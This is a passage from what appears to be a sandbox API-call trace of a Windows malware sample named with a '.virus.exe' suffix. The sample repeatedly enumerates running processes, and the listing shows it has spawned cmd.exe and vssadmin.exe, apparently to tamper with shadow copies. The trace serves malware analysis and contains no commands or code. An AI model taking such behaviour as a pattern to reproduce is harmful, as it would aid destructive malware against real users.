dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0260.823] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.823] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0260.824] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0260.824] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0260.824] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0260.825] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0260.825] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0260.826] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0260.828] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.828] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.829] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0260.829] CloseHandle (hObject=0xc4) returned 1 [0260.829] Sleep (dwMilliseconds=0x1f4) [0261.361] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc0 [0261.363] Process32FirstW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.363] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.364] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.364] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.365] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0261.365] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.366] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0261.366] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0261.366] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0261.367] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0261.367] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.368] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.368] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.369] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.369] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.369] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.370] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.370] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.371] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0261.371] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0261.372] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0261.372] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0261.372] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.373] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0261.373] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0261.374] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0261.374] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0261.375] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0261.375] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0261.375] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.376] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.376] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0261.377] CloseHandle (hObject=0xc0) returned 1 [0261.377] Sleep (dwMilliseconds=0x1f4) [0262.228] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc0 [0262.234] Process32FirstW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.234] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0262.234] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0262.235] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.235] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0262.236] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.236] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0262.236] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0262.237] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0262.237] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0262.237] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.238] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.238] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.238] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.239] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.239] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0262.239] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.240] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.240] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0262.240] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0262.241] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.241] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0262.241] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.242] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0262.242] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0262.242] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0262.243] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0262.243] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0262.244] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0262.244] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.244] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.245] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0262.245] CloseHandle (hObject=0xc0) returned 1 [0262.245] Sleep (dwMilliseconds=0x1f4) [0263.008] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc8 [0263.010] Process32FirstW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.011] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.011] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.011] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.012] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.012] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, 